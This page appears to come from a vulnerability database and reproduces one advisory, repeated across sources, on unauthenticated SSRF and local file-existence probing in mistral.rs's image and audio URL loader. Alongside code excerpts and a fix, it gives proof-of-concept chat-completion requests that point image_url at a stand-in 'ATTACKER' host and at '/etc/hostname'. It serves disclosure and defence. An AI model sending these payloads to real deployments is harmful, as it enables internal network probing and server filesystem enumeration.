Every CVESearch/Get API key

GHSA-wfgq-w7cq-qj7j

mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url

7.2 HighFix available

GHSA-wfgq-w7cq-qj7j is a high vulnerability (CVSS 7.2) in mistralrs-server-core, published September 10, 2026. No source lists public exploit code. Fixed in mistralrs-server-core 0.8.18.

What does this mean?
Severity
7.2 HighCVSS 3.1, GitHub Advisories
Exploit chance
UnscoredNo EPSS score yet
Exploitation
None knownNot on CISA’s or ENISA’s lists

Description

Summary

mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.

Details

parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:

let url = if let Ok(url) = url::Url::parse(url_unparsed) {
    url
} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)
    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
    File::open(path).await ... read                           // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };

reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url.

The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time.

For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.

Suggested fix

Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.

Proof of concept

On a default vision deployment, unauthenticated:

SSRF - the server fetches the attacker URL during request processing:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.

Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):

existing file (opened and read, then fails to decode):

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/etc/hostname"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "The image format could not be determined"

nonexistent path:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/nonexistent"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."

The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the root-cause message, so both reach the client verbatim.

Impact

An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.

Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and http_resp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
Low

Affected packages

Affected packages
PackageAffectedFixed
mistralrs-server-core
crates.io
through 0.8.17
0.8.18
mistralrs-server-core
crates.io
before 0.8.18
0.8.18

What each source reports

GitHub Advisories Score used7.2

mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url

Summary

mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.

Details

parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:

let url = if let Ok(url) = url::Url::parse(url_unparsed) {
    url
} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)
    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
    File::open(path).await ... read                           // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };

reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url.

The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time.

For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.

Suggested fix

Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.

Proof of concept

On a default vision deployment, unauthenticated:

SSRF - the server fetches the attacker URL during request processing:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.

Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):

existing file (opened and read, then fails to decode):

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/etc/hostname"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "The image format could not be determined"

nonexistent path:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/nonexistent"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."

The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the…

Record
GHSA-wfgq-w7cq-qj7j
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
Weakness
CWE-73, CWE-918
Updated
2026-11-02
OSV7.2

mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url

Summary

mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.

Details

parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:

let url = if let Ok(url) = url::Url::parse(url_unparsed) {
    url
} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)
    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
    File::open(path).await ... read                           // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };

reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url.

The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time.

For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.

Suggested fix

Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.

Proof of concept

On a default vision deployment, unauthenticated:

SSRF - the server fetches the attacker URL during request processing:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.

Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):

existing file (opened and read, then fails to decode):

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/etc/hostname"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "The image format could not be determined"

nonexistent path:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/nonexistent"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."

The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the…

Record
GHSA-wfgq-w7cq-qj7j
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
Weakness
CWE-73, CWE-918
Updated
2026-11-02

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open